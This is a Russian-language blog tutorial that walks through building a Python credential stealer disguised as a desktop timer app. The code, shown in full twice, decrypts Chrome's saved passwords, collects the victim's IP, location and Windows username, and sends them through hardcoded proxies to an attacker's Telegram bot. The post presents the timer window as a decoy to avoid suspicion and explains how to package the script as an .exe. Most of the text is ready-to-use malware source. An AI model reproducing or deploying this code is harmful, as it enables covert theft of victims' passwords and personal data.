March 19, 2019

Небольшой граббер данных с пк и айпи.

ВНИМАНИЕ!

Информация предоставлена исключительно в ознакомительных целях.

Начнём как обычно с импортов зависимостей:

import os
import sqlite3
import requests
import argparse
from sys import exit
from tkinter import *
from time import sleep
from win32crypt import CryptUnprotectData

Сразу хочу оговориться, грабер паролей я писал не сам, старенький скрипт который лежал у меня на пк.

Сразу кидаю весь скрипт граббера паролей с хрома.

Что бы он корректно работал - хром должен быть закрыт. В любом случае отследить процесс хрома и убить его не составит труда. Но раз мы тут не вирусы пишем я не буду этого делать.

# Находим Хром
def chromepath():
	PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
	if (os.path.isdir(PathName) == False):
		exit(0)
	return PathName  


# Грабим базу данных с сохраненными паролями
def grub():
	secret = []
	path = chromepath()
	try:
		connection = sqlite3.connect(path + "Login Data")
		with connection:
			cursor = connection.cursor()
			v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
			value = v.fetchall()
		for i in value:
			password = CryptUnprotectData(i[2], None, None, None, 0)[1]
			if password:
				secret.append({'1': i[0],'2': i[1],'3': str(password)})
	except sqlite3.OperationalError as e:
			if (str(e) == 'database is locked'):
				exit(0)
			else:
				exit(0)
	if secret == []:
		pass
	else:          
		return secret

# Сохраняем пароли в массив
def pass_list(teb):
	mass = []
	for data in teb:
		for x in data.values():
			mass.append(x)
			# print(x)
	return mass

Далее нам необходимо добавить прокси для корректной отправки в телеграм логов, ведь в РФ телеграм заблочен.

http_proxy  = "http://46.5.252.70:3128"
https_proxy = "https://68.183.80.218:8080"
ftp_proxy   = "ftp://68.183.80.218:8080"


proxyDict = { 
              "http"  : http_proxy, 
              "https" : https_proxy, 
              "ftp"   : ftp_proxy
            }

Далее нам необходимо прописать токен и айди человека которому будут лететь логи.(Обязательно напишите боту /start перед проверкой работоспособности софта.) Что бы создать бота пишем @BotFather и создаем у него бота. После получения токена идём к @get_id_bot и получаем свой айди. Далее заполняем данные в скрипте.

token = "11111111111:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
URL = "https://api.telegram.org/bot" + token + "/"
id = 123321123321

Затем нам необходимо написать функцию чека айпи:

def get_ip_info():
		r = requests.get("http://api.ipify.org")
		ip = r
		inf = requests.get(f"https://ipapi.co/{ip.text}/json/")
		city = inf.json()["city"]
		region = inf.json()["region"]
		country_name = inf.json()["country_name"]
		timezone = inf.json()["timezone"]
		utc_offset = inf.json()["utc_offset"]
		country_calling_code = inf.json()["country_calling_code"]
		currency = inf.json()["currency"]
		languages = inf.json()["languages"]
		org = inf.json()["org"]
		text = "ip: " + ip.text + "\n" + "Город: " + city + "\n" + "Регион: " + region + "\n" + "Страна: " + country_name + "\n" + "Временная зона: " + timezone + "\n" + "UTC: " + utc_offset + "\n" + "Код сотового оператора: " + "±" + country_calling_code + "\n" + "Валюта: " + currency + "\n" + "Языки: " + languages + "\n" + "Провайдер: " + org + "\n" + "Имя пользователя пк: " + str(os.getlogin()) + "\n\n\n" + "Пароли: " + "\n" + str(pass_list(grub()))
		url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML"
		requests.get(url, proxies=proxyDict)

Итак, вначале мы делаем запрос на api.ipify.org что бы узнать айпи машины на которой запущен скрипт, далее мы отправляем этот айпи на другой сервис ipapi.co и с его ответа уже парсим город, регион, страну, временную зону, часовой пояс. код сотового оператора, валюту, языки, провайдера. Так же в конце text есть функция str(os.getlogin()) которая позволяет узнать нам имя пользователя виндовс.

Так же в конце есть вызов нашей функции которая грабит пароли. pass_list(grub())

ну а с помощью последних двух строк :

		url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML"
		requests.get(url, proxies=proxyDict)

мы отправляем сообщение через бота себе.

Что бы не вызвать подозрения у пользователя мы сделаем простенький таймер который через определенное количество минут выдаст пользователю сообщение которое он заранее записал туда.

Начнём с функции которая отвечает за создание встречающего нас окна:

def main():
	root = Tk()
	root.resizable(width=False, height=False)
	root.title("Timer")
	root.geometry("350x120")

	token = StringVar()
	ids = StringVar()

	name_label = Label(text="Time:")
	surname_label = Label(text="Text:")


	name_label.place(relx=.1, rely=.20, anchor="w")
	surname_label.place(relx=.1, rely=.40, anchor="w")

	message_entry1 = Entry(textvariable=token, selectbackground="red")
	message_entry1.place(relx=.5, rely=.30, anchor="sw")

	message_entry2 = Entry(textvariable=ids, selectbackground="red")
	message_entry2.place(relx=.5, rely=.45, anchor="sw")


	message_button2 = Button(text="start", command=lambda:reset(root, token.get(), ids.get()))
	message_button2.place(relx=.50, rely=.8, width=120, anchor="c")


	root.mainloop()

Здесь мы создаем окно с 2 полями. В первое просим ввести время а во второе текст. Выглядит оно так:

После заполнение полей и нажатия кнопки старт будет вызвана функция reset:

def reset(testroot, one, two2):
	testroot.destroy()
	timer(one, two2)

Тут мы убиваем это окно и передаём управление функции timer:

def timer(one, two2):
	n = 0
	while True:
		if n < int(one) * 60:
			n+=1
			print(n)
			sleep(1)
		else:
			root = Tk()
			root.resizable(width=False, height=False)
			root.title("ДЗЫНЬ ДЗЫНЬ")
			root.geometry("350x135")
			text = Text(width=42, height=6, bg="white", fg='black', wrap=WORD)
			text.pack()
			text.insert(END, str(two2))
			message_button2 = Button(text="Exit", command=lambda:reset2(root))
			message_button2.place(relx=.50, rely=.87, width=120, anchor="c")
			root.mainloop()
			break

Функция таймер будет вести отчет в минутах. Как только минуты которые вписал пользователь истекут он выдаст сообщение:

(Это лишь пример, тут будет текст который пользователь впишет во второй графе.) После нажатия кнопки Exit будет вызвана функция которая убьёт окно

def reset2(testroot):
	testroot.destroy()

Так же помимо листинга программы в конце хотелось бы сказать о том что можно с лёгкостью конвертировать py скрипт в exe файл при помощи pyinstaller и даже задать ему иконку :)

Делается это очень просто:

В конце указываем файл или путь к нему, в моём случае это main.py

Вот скрин отстука с бота. Естественно всё происходило на моём личном пк для тестирования:

Вы бы могли улучшить скрипт добавив граббинг паролей с других популярных браузеров.

Мой код не идеален. Это вообще всё большой костыль по моему мнению и можно было лучше.

На этом всё, а вот и полный листинг программы:

import os
import sqlite3
import requests
import argparse
from sys import exit
from tkinter import *
from time import sleep
from win32crypt import CryptUnprotectData


# Находим Хром
def chromepath():
	PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
	if (os.path.isdir(PathName) == False):
		exit(0)
	return PathName  


# Грабим базу данных с сохраненными паролями
def grub():
	secret = []
	path = chromepath()
	try:
		connection = sqlite3.connect(path + "Login Data")
		with connection:
			cursor = connection.cursor()
			v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
			value = v.fetchall()
		for i in value:
			password = CryptUnprotectData(i[2], None, None, None, 0)[1]
			if password:
				secret.append({'1': i[0],'2': i[1],'3': str(password)})
	except sqlite3.OperationalError as e:
			if (str(e) == 'database is locked'):
				exit(0)
			else:
				exit(0)
	if secret == []:
		pass
	else:          
		return secret


def pass_list(teb):
	mass = []
	for data in teb:
		for x in data.values():
			mass.append(x)
			# print(x)
	return mass

# print(pass_list(grub()))

http_proxy  = "http://46.5.252.70:3128"
https_proxy = "https://68.183.80.218:8080"
ftp_proxy   = "ftp://68.183.80.218:8080"


proxyDict = { 
              "http"  : http_proxy, 
              "https" : https_proxy, 
              "ftp"   : ftp_proxy
            }


token = "11111111111:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
URL = "https://api.telegram.org/bot" + token + "/"
id = 123321123321


def get_ip_info():
		r = requests.get("http://api.ipify.org")
		ip = r
		inf = requests.get(f"https://ipapi.co/{ip.text}/json/")
		city = inf.json()["city"]
		region = inf.json()["region"]
		country_name = inf.json()["country_name"]
		timezone = inf.json()["timezone"]
		utc_offset = inf.json()["utc_offset"]
		country_calling_code = inf.json()["country_calling_code"]
		currency = inf.json()["currency"]
		languages = inf.json()["languages"]
		org = inf.json()["org"]
		text = "ip: " + ip.text + "\n" + "Город: " + city + "\n" + "Регион: " + region + "\n" + "Страна: " + country_name + "\n" + "Временная зона: " + timezone + "\n" + "UTC: " + utc_offset + "\n" + "Код сотового оператора: " + "±" + country_calling_code + "\n" + "Валюта: " + currency + "\n" + "Языки: " + languages + "\n" + "Провайдер: " + org + "\n" + "Имя пользователя пк: " + str(os.getlogin()) + "\n\n\n" + "Пароли: " + "\n" + str(pass_list(grub()))
		url = URL + f"sendmessage?chat_id={id}&text={text}&parse_mode=HTML"
		requests.get(url, proxies=proxyDict)


def reset(testroot, one, two2):
	testroot.destroy()
	timer(one, two2)

def reset2(testroot):
	testroot.destroy()


def timer(one, two2):
	n = 0
	while True:
		if n < int(one):
			n+=1
			print(n)
			sleep(1)
		else:
			root = Tk()
			root.resizable(width=False, height=False)
			root.title("ДЗЫНЬ ДЗЫНЬ")
			root.geometry("350x135")
			text = Text(width=42, height=6, bg="white", fg='black', wrap=WORD)
			text.pack()
			text.insert(END, str(two2))
			message_button2 = Button(text="Exit", command=lambda:reset2(root))
			message_button2.place(relx=.50, rely=.87, width=120, anchor="c")
			root.mainloop()
			break
	


def main():
	root = Tk()
	root.resizable(width=False, height=False)
	root.title("Timer")
	root.geometry("350x120")

	token = StringVar()
	ids = StringVar()

	name_label = Label(text="Time:")
	surname_label = Label(text="Text:")


	name_label.place(relx=.1, rely=.20, anchor="w")
	surname_label.place(relx=.1, rely=.40, anchor="w")

	message_entry1 = Entry(textvariable=token, selectbackground="red")
	message_entry1.place(relx=.5, rely=.30, anchor="sw")

	message_entry2 = Entry(textvariable=ids, selectbackground="red")
	message_entry2.place(relx=.5, rely=.45, anchor="sw")


	message_button2 = Button(text="start", command=lambda:reset(root, token.get(), ids.get()))
	message_button2.place(relx=.50, rely=.8, width=120, anchor="c")


	root.mainloop()


if __name__ == "__main__":
	get_ip_info()
	main()